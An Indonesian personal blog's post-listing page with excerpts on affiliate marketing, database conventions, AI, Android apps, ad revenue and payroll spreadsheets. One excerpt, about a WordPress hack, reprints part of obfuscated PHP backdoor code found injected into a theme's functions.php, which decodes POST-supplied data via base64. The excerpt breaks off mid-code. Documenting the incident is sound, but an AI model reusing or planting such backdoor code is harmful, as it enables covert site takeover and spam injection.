Postingan

Menampilkan postingan dengan label Pengetahuan

Afiliasi Shopee Tanpa Wajah dan Tanpa Beli Sampel Bermodal AI

Gambar
Setelah sekian lama berusaha menulis buku, akhirnya penulis berhasil memebuat sebuah buku yang, menurut penulis, memang layak untuk dibagikan ke publik. Buku tersebut berjudul " Rp 1.397 dari Shopee Video dengan Artificial Intelligence (AI) ", yang tidak lain adalah story book penulis dalam mencoba berafiliasi memanfaatkan video AI. Saat tulisan ini ditulis, penulis memberikan harga Rp. 7 ribu saja. Karena memang masih terdiri dari 20 halaman. Di mana planning penulis, buku ini akan penulis lengkapi seiring berjalannya waktu, dan semoga penulis bisa mendaftarkan ISBN, jika jumlahnya sudah mencapai 100 halaman. Penulis akan memberikan akses ke file asli, sehingga pembeli tidak perlu mengeluarkan uang lagi dikemudian hari jika buku ini di update. Mungkin akan timbul pertanyaan, kenapa penulis memilih menjadi afiliator yang sebelumnya adalah pemain Adsense? Intinya sederhana, penulis terpaksa harus mencari 'Adsense' baru, sebab status penulis yang sebagai tenaga  'ou...

Kaidah Baku untuk Konsistensi Data (PT, Tbk, Pty., & Ltd.)

Sebagai database engineer, penulis sempat kaget ketika mendapati banyaknya data masuk, khususnya dari mahasiswa yang mengajukan nama instansi, yang secara berulang kali menulis PT tanpa menggunakan tanda titik, untuk pengajuan suratnya. Penulis yang terbiasa dengan pemahaman lama (EYD) bahwa 'PT' harus ditulis 'PT.' akhirnya mencoba memeriksa ulang. Setelah penulis check dan berdiskusi ke salah satu AI, ternyata memang terdapat pembaharuan dan penulisan tanpa titik adalah kaidah baku modern. Konsistensi ini krusial untuk integritas database.  Konflik Aturan Bahasa dan Kebutuhan Sistem Pertama banyak yang sudah terbiasa (termasuk penulis) menambahkan titik setelah singkatan seperti 'PT.' karena dahulu aturan Ejaan Yang Disempurnakan (EYD) mengamanatkan titik pada singkatan tertentu. Namun, untuk menjaga  integritas data  dan  standardisasi  dalam sistem informasi dan dokumen hukum, kita harus berpegangan pada kaidah penulisan nama entitas yang resmi. 1. Penulisan...

Menyikapi Ucapan AI Pejabat

Beberapa tahun belakangan, ketika tulisan ini ditulis, topik Kecerdasan Buatan (AI) memang sedang naik daun di Indonesia. Dari obrolan rekan kerja, hingga diskusi di ruang rapat, AI menjadi perbincangan hangat. Bahkan, tidak ketinggalan, para pejabat publik pun semakin sering melontarkan wacana seputar teknologi canggih ini. Fenomena ini tentu menarik untuk disimak. Di satu sisi, kita patut mengapresiasi bahwa AI, dengan segala potensinya, memang layak mendapatkan perhatian serius dari pemerintah. Yang konon katanya, AI digadang-gadang mampu mendongkrak pertumbuhan ekonomi, meningkatkan efisiensi, dan bahkan menciptakan inovasi di berbagai sektor. Padahal kalau kita telaah lagi, di sisi lain, AI justru akan berpotensi mengambil banyak lapangan pekerjaan. Lalu apakah kita harus terpukau dengan jargon-jargon AI yang dilontarkan, terutama oleh pejabat? Pemahaman Ketertarikan para pejabat terhadap AI bisa jadi hanya merupakan respon terhadap tren global atau bahkan upaya untuk menunjukkan ...

Manajemen Pekerjaan menggunakan Google Sheets

Gambar
Latar Belakang Salah satu kelemahan penulis adalah memanajemen pekerjaan. Hal ini karena penulis sering lupa, dan jika telah fokus ke satu pekerjaan, pekerjaan yang lain, yang penulis tinggalkan sebelumnya bisa lupa. Dan kalaupun memulai, bisa jadi dari awal. Dulu, ketika pekerjaan penulis hanya freelance pada aplikasi Edugameapp.com, penulis dapat konsentrasi dan pekerjaan hanya memiliki satu cabang, dan tahap penyelesaiannya mudah diingat, tanpa perlu dicatat. Sedangkan ketika bekerja disuatu instansi, tidak ada kata fokus, justru pekerjaan semakin beragam, dengan pola pengerjaan yang bersamaan, dan seolah tidak ada habisnya. Memang, dengan bekerja di instansi, meskipun statusnya outsourcing dan gaji lumayan stabil dibanding freelance. Tetapi pekerjaan lebih bersifat bersamaan (paralel), yang ketika pekerjaan satu belum selesai, telah datang atau ditambah dengan pekerjaan lain, dari/oleh atasan yang berbeda. Lucunya, meskipun pekerjaan itu adalah pekerjaan tim, yang konon dikerjakan ...

Perbedaan Sudut Pandang Dosen dan Karyawannya

Sebuah perdebatan dingin dari sisi Dosen senior dan karyawan di suatu instansi pendidikan, di mana penulis pernah bekerja di dalamnya, menggelitik penulis untuk membaginya dalam blog ini. Bukan untuk meminta pembenaran, hanya saja penulis ingin berbagi sudut pandang, yang siapa tahu berefek positif bagi pembaca. Mulanya seorang karyawan senior, mengatakan jika ada yang dari pihak Dosen yang memberi penilaian jelek terhadap pekerjaan penulis sebagai karyawan, "Jangan dianggap, sebab yang membayar kita itu Fakultas. Bukan Dosen itu". Tentu, perkataan tersebut berpengaruh dan menjadikan penulis berprinsip, "Yang penting pekerjaanku selesai". Setelah beberapa lama bekerja, tiba-tiba seorang Dosen senior berbincang dengan penulis dan berkata, "Salah satu daya tarik Fakultas adalah SDM Dosen-dosen pengajarnya, sehingga mahasiswa bersedia belajar dan menjadi mahasiswa, adalah karena adanya Dosen-dosen, dan tugas karyawan adalah membantu Dosen-dosen tersebut". Dim...

Kode Java Membandingkan Dua File

Gambar
Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot. Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut. Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan. if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $...

Perihal Mundur dari Kerja Tim

Seorang mahasiswa datang kepada penulis, dia bilang, dia akan mengundurkan diri dari tim asisten. Alasannya, karena dia merasa anggota tim yang lain tidak cocok dengannya. Penulis yang memang tidak memiliki jiwa kepemimpinan, secara tersirat mengatakan "ya jika mau mundur, ya silahkan saja". Pertama, hal ini sesuai dengan sifat penulis.  Dulu pernah ketika penulis sakit hati dari suatu pekerjaan, memang mundur (mengundurkan diri) itu solusinya. "Lari!", biarlah dianggap lari. Kalau memang kita dibutuhkan, justru instansi/perusahaan-lah yang seharusnya mempertahankan kita. Kalau tidak, berarti kita memang tidak dibutuhkan, dan kita harus tahu diri. Nah, kalau mahasiswa itu mundur, dan timnya tidak berusaha mempertahankan, seharusnya mahasiswa itu evaluasi diri. Kedua, produk. Penulis bilang ke mahasiswa itu, "Buatlah produk, dan coba juallah ke pasar. Ada enggak orang yang mau menggunakan produk kita. Seberapa banyak? Kalau produk itu tidak laku, itulah kita...

Sedikit Pandangan tentang Pelatihan Bersertifikasi

Sebuah percakapan menarik dengan salah satu pengguna Facebook. Beliau menilai bahwa aplikasi Edugameapp buatan penulis sebenarnya layak digunakan sebagai pendamping bahan ajar guru di sekolah. Dan kalau bisa, dibuat semacam pelatihan yang bersertifikasi. "Misal ada minat ke arah pendidikan mah, bisa buat bahan alat peraga pendamping pembelajaran online, khususnya SMK". Artinya menurut beliau, perlu diberikannya bukti cetak hitam di atas putih (sertifikat), agar aplikasi-aplikasi penulis lebih dicari oleh masyarakat. Seperti oleh sekolah-sekolah yang memiliki jurusan yang berkaitan dengan presisi alat ukur atau analis kimia. Bagus nya sih tanpa iklan, Alternatif income nya lewat pelatihan & sertifikasi, Lbh ke persiapan dunia kerja, Atau uji kompetensi keahlian Ada tiga hal yang penulis ingin ulas di sini: Pertama , untuk menjadikannya semacam pelatihan, penulis perlu membangun aplikasi-aplikasi Edugameapp penulis menjadi sebuah sistem database. Misalnya, ketika pengguna t...

Besar Pajak Tahunan Honda Versa 2016 di Tahun 2022

Gambar
Tidak terasa, sudah setahun setelah penulis melakukan mutasi sepeda motor Verza penulis , dari Kediri ke Banyuwangi sesuai alamat KTP. April 2022 ini, Verza penulis genap berusia 6 tahun setelah pembelian. Yang penampakan ketika pembelian pertama kali seperti video dibawah ini: Meskipun model sepeda ini sudah lama, ternyata di 2022 ini masih banyak juga yang melihat video penulis di atas. Dan karena perjalanan penulis cukup jauh, kilometernya sudah mencapai 100 ribu kilometer, cukup untuk mengelilingi bumi dua kali. Lalu, ketika penulis membayar pajak tahunan pada April 2022, ternyata nominal pajak yang harus penulis bayarkan adalah sebesar IDR 296.500 . Nilainya lebih tinggi sedikit dari tahun-tahun sebelumnya. Mungkin karena usia sepeda motor yang menua, sehingga pembayaran pajak polusi yang menjadi lebih tinggi. Atau mungkin karena memang pajak di tahun 2022 ini naik. Penulis belum tahu, mungkin suatu saat nanti post ini akan penulis update, ketika penulis telah tahu jawabannya.

Upgrade Universal Analytics ke Google Analytics 4

Gambar
Telah lama tidak mengunjungi Google Analytics, di dashboard terdapat peringatan seperti gambar di bawah ini: Setahu penulis, artinya pemilik website yang menggunakan Google Analytics lama (Universal Analytics) diharuskan untuk upgrade ke Google Analytics baru, yaitu Google Analytics 4. Hasilnya, mau tidak mau, penulis yang sebagai pengguna Google Analytics, penulis harus maintenance semua website dan blog penulis yang menggunakan Google Analytics. Berikut ini adalah tutorial sederhana yang penulis buat saat upgrade blog dan website Wordpress. Blogspot Wordpress

Tips Sukses menjadi Programmer

Manajemen waktu Untuk bekerja sebagai programmer, yang umumnya freelance, diperlukan kemampuan manajemen waktu yang baik. Biasanya, dikarenakan merasa freelance , programmer akan menerima semua pekerjaan yang ditawarkan kepadanya. Sehingga, jika load pekerjaan telah tinggi, akan menyebabkan adanya pekerjaan yang terbengkalai, tidak sempurna dan mengecewakan client. Bukan karena programmer itu tidak menguasai pekerjaannya. Namun karena tidak bisa mengalokasikan waktu saja, yang tidak tepat. Penulis sendiri seperti itu. Sampai tulisan ini ditulis, penulis masih belajar bagaimana memanajemen waktu, agar semua pekerjaan terselesaikan. Manajemen Pekerjaan Mungkin lebih tepatnya, manajemen file pekerjaan yang pernah dilakukan. Seringkali, programmer akan mendapat pekerjaan yang mirip, atau bahkan sama. Manajemen penyimpanan source code, project-project yang pernah dilakukan, harus tertata dengan baik dan diorientasikan jangka panjang. Tidak hanya dengan memberikan label versi (v1.1, v1.2, v2...

Memperoleh Data Terbaru dari Join Dua Tabel di MySQL

Dimisalkan, suatu instansi memberikan status kepada karyawannya menjadi tiga tingkat. Yaitu kontrak, tidak tetap dan tetap. Setiap status, memiliki kode nomor karyawan sendiri, yang akan berganti jika sang Karyawan telah layak naik pangkat, sesuai dengan loyalitas dan prestasinya. Di mana ketika karyawan berganti status, nomor lama ke yang baru, nomor yang lama akan tetap tersimpan di database (tanpa dihapus), kemudian nomor yang baru akan otomatis menjadi nomor acuan karyawan yang bersangkutan. Lalu bagaimanakah desain databasenya? Kesalahan yang potensial dihadapi sebagai programmer, untuk kasus di atas adalah menganggap nomor karyawan sebagai acuan di database. Penulis yakin, dengan melihat NIK (Nomor Induk Karyawan), pasti kebanyakan programmer database, akan menjadikan NIK sebagai ID acuan utama karyawan. Hal ini karena NIK dianggap tidak akan berubah sampai karyawan itu pensiun. Sebab, biasanya, jika ID acuan diganti, maka data-data sebelumnya yang mengacu pada ID lama, bisa-bisa...

Permintaan Penambahan Ad ID Permission dari Google Play

Gambar
Pada tanggal 15 Maret 2022, penulis mendapatkan email dari Google Play terkait permintaan penambahan Ad ID Permission pada setiap aplikasi penulis di Edugameapp, sebelum 1 April 2022. Penambahan permission ini penting, karena dapat mengakibatkan tidak akan tampilnya iklan dalam aplikasi. Yang juga berarti dapat berpotensi terjadinya pengurangan terhadap pendapatan, jika penulis sebagai developer mengabaikannya. <uses-permission android:name="com.google.android.gms.permission.AD_ID"/> Mulanya, penulis pikir perlu menambahkan kode di atas, pada masing-masing manifest setiap app. Dengan jumlah aplikasi yang telah lebih dari 50 buah, sehingga akan menjadi pekerjaan yang melelahkan sendiri, meski hanya menambahkan satu permission saja. Untungnya Google tidak sejahat itu. Dengan hanya melakukan upgrade SDK iklan terbaru, permission tersebut secara otomatis ditambahkan ke manifest, yang lebih detailnya dapat dilihat di bagian merge manifest.

Membuat Aplikasi OCR Android dengan Tesseract

Gambar
App OCR (Optical Character Recognition) sangat diminati oleh pengguna Android. Hal ini terlihat dari jumlah banyaknya pendownload yang terlihat app OCR di Play Store. Bisa saja karena banyak pengguna yang membutuhkan untuk mengubah gambar text ke text, seperti pengalaman penulis sewaktu bekerja sebagai penjaga Warnet, sekitar tahun 2009. Hampir tiap minggunya, seorang dosen Universitas Brawijaya Malang, datang dan meminta penulis untuk menulis ulang beberapa kalimat yang tertulis dalam buku. Tulisan tersebut beliau gunakan sebagai kutipan dalam modul ajar. Karena waktu itu teknologi OCR masih umumnya menggunakan mesin scanner, lama waktu yang digunakan untuk menyecan buku dengan mesin, masih lebih lambat dibanding waktu untuk menulisnya langsung ke komputer. Sehingga penulis lebih memilih untuk menuliskannya langsung ke komputer. Dan sekarang, dengan teknologi Tesseract dari Google, cukup dengan smartphone yang berkamera beresolusi tinggi, scan-menyecan menjadi urusan yang cepat dan g...

Percobaan Traffic pada Konten Negatif

Observasi Sebagai seorang blogger, mencari tahu bagaimana cara menaikkan traffic blog, mungkin telah menjadi keharusan. Bagaimana tidak, penulis sendiri telah membuktikan, jumlah traffic berbanding lurus dengan jumlah income yang diterima. Sehingga semakin tinggi traffic, semakin banyak juga pendapatan dari iklan yang diterima. Di mana semenjak 2015, penulis hanya mencari dan menggunakan cara-cara original dan organic, yaitu untuk mendapatkan traffic blog yang valid. Sebab, jika traffic invalid, income dari iklan yang sudah masuk, dapat ditarik kembali oleh Adsense. Konten Negatif Sampai sehari sebelum tulisan ini ditulis, penulis penasaran mengapa posting, konten, cuitan yang negatif, banyak yang menjadi viral. Konten negatif ini, seperti kritikan, cacian, body shamming, bullying, dan lain sebagainya. Dan penulis rasa, banyak sekali media online Indonesia, yang menggunakan teknik-teknik negatif tersebut, seperti memberikan judul negatif pada konten-konten berita mereka. Untuk menarik ...

Anak Usia Sekolah Hendaknya tidak hanya Bermain Game Online

Dalam bulan tulisan ini ditulis, penulis terganggu dengan kegaduhan anak-anak muda yang bermain game online di dekat rumah mertua penulis. Pasalnya, mereka masih anak usia sekolah menengah. Pandemi Corona yang semakin diperpanjang, membuat mereka tidak masuk sekolah, yang tidak lain akibat dari pendidikan yang dilakukan secara online. Mirisnya, mereka tidak menyibukkan diri dengan belajar, melainkan bermain game online, dan hal itu mereka lakukan mulai sekitar jam 10 malam, sampai subuh. Penulis tidak habis pikir, bagaimana mereka menanam bom waktu, yang bisa menghancurkan masa depan mereka sendiri suatu hari kelak. Pekerjaan macam apa yang mereka inginkan? Apakah sekolah sampai SMA/STM, tongkrongan motor sport gede, lulus, berijazah, rambut disemir, lalu mereka dapat menaklukkan dunia? Apakah mereka tidak tahu kalau kerasnya dunia justru berawal ketika mereka bekerja dan lepas dari orang tua? Dan apakah mereka akan menjadi sampah, benalu atau panutan masyarakat? Sungguh penulis tidak ...

Review Pengguna yang Berperilaku Konsumtif

Gambar
Suatu pagi, penulis sebagai developer Aplikasi Long Division, Computational Lab mendapat review seperti gambar di bawah ini: Mungkin bagi sebagian banyak orang akan menganggap ini lucu, karena mengadu/review aplikasi hanya masalah bahasa, adalah lebih ke pribadi pengguna, bukan ke developer. Apalagi aplikasi yang direview bertema matematika, angka-angka merupakan bahasa sendiri dan tidak tergantung pada penjelasan bahasa tertentu, untuk tingkat dasarnya. Namun bagi penulis, yang juga menjadi pengajar, hal ini membuat saya sedih. Pasalnya, generasi didikan kita (sesuai ditunjukkan pada review di atas), diusia dini sudah menunjukkan identitasnya sebagai konsumen yang tulen. Entah, apa memang dia berasal dari keluarga yang kaya, atau memang pendidikan yang menyebabkan dia berpola pikir seperti itu. Artinya generasi didik kita lebih ingin memposisikan diri sebagai raja/ratu yang harus dilayani sebaik mungkin, dan jika tidak puas atau tidak sesuai keinginan mereka sedikit saja, maka sudah p...

Pengaruh Traffic App ke Pendapatan Admob

Gambar
Pada posting penulis sebelum-sebelumnya, penulis selalu mengatakan jika semakin tinggi traffic, semakin tinggi pula bid iklan yang siap tampil di konten atau aplikasi yang menampilkan iklan Adsense. Sehingga tak khayal, jika konten dengan traffic yang tinggi, akan menghasilkan income yang tinggi pula, dan dalam waktu yang cepat. Nyatanya, pernyataan penulis ini salah , seperti dibuktikan oleh gambar grafik, pendapatan iklan Admob (Adsense untuk app/game) beberapa aplikasi Computational Lab , dalam kurun waktu satu bulan berikut ini: Kesembilan aplikasi yang dibandingkan dalam grafik di atas, memiliki tipe iklan yang sama, yaitu iklan banner. Di mana aplikasi Abacus 100 adalah sebagai acuan persentase impresi dan pendapatannya. Dengan impresi adalah jumlah iklan yang valid tayang. Seperti terlihat pada grafik, aplikasi Math Chat dan Just Line dapat memiliki  pendapatan yang lebih tinggi, meskipun jumlah impresi dan klik yang lebih rendah dibanding aplikasi Digital Abacus Calcul...

Pengalaman Pelanggaran Repetitive Content

Gambar
Pada tanggal 13 Oktober 2020, penulis sebagai Android developer Computational Lab, mendapat email dari Google Play bahwa aplikasi penulis Spring Scale Newton dan Spring Scale Kilogram mendapat peringatan pelanggaran yang disebut repetitive content. Di mana konsekuensi dari pelanggaran tersebut, kedua aplikasi penulis itu dalam status suspended. Yang diikuti pemutusan (disable) ad-serving Google Admob beberapa hari berikutnya. Berbeda dari email peringatan sebelum-sebelumnya, email kali ini lebih manusiawi (bukan robot) dan dapat dipahami. Dan karena kedua aplikasi sebenarnya sama, hanya berbeda gambar timbangan pegas dan satuan yang digunakan, kedua aplikasi tersebut dinyatakan sebagai "aplikasi yang sama, dengan sedikit perbedaan", yang termasuk pada pelanggaran repetitive content. Sedangkan penjelasan repetitive content secara lebih lanjut dapat dilihat di link ini , dengan beberapa poin sebagai berikut: Menyalin konten dari aplikasi lain tanpa menambahkan konten atau nilai...

Formula Google Sheet Penggajian Sekolah Swasta

Gambar
  Karena penasaran dengan perhitungan simulasi gaji di suatu instansi swasta, di link dibawah ini adalah file Google Sheet yang dilengkapi dengan formula perhitungan simulasi gaji, hasil uji coba penulis. Simulasi Gaji Pedoman yang penulis gunakan, adalah sesuai dokumen pedoman yang diserahkan ke instansi yang berada di atas instansi tersebut. Fitur-fitur kurang lebih seperti dibawah ini: Slip Gaji Jenjang pendidikan Karyawan: SMA, D3, S1, S2, dan S3 Unit: SD, SMP, SMA, Direksi Kepegawaian: Guru dan Karyawan Status Pegawai: Kontrak, Tetap dan Tidak Tetap Tunjangan: Tunjangan Masa Kerja Tunjangan Suami/Istri Tunjangan Anak Tunjangan Beras Tunjangan Jabatan Uang Makan Bonus/Insentif (perlu ditambahkan sendiri) Kondisi perhitungan atau nilai parameter-parameternya dapat dilihat di Sheet Pedoman Gaji, antara lain: Gaji Pokok Gaji pokok dihitung berdasarkan gaji dasar tiap unit ditambah penambahan gaji sesuai jenjang pendidikan. Yang mana kenaikan gaji berdasarkan jenjang pendidikan, ni...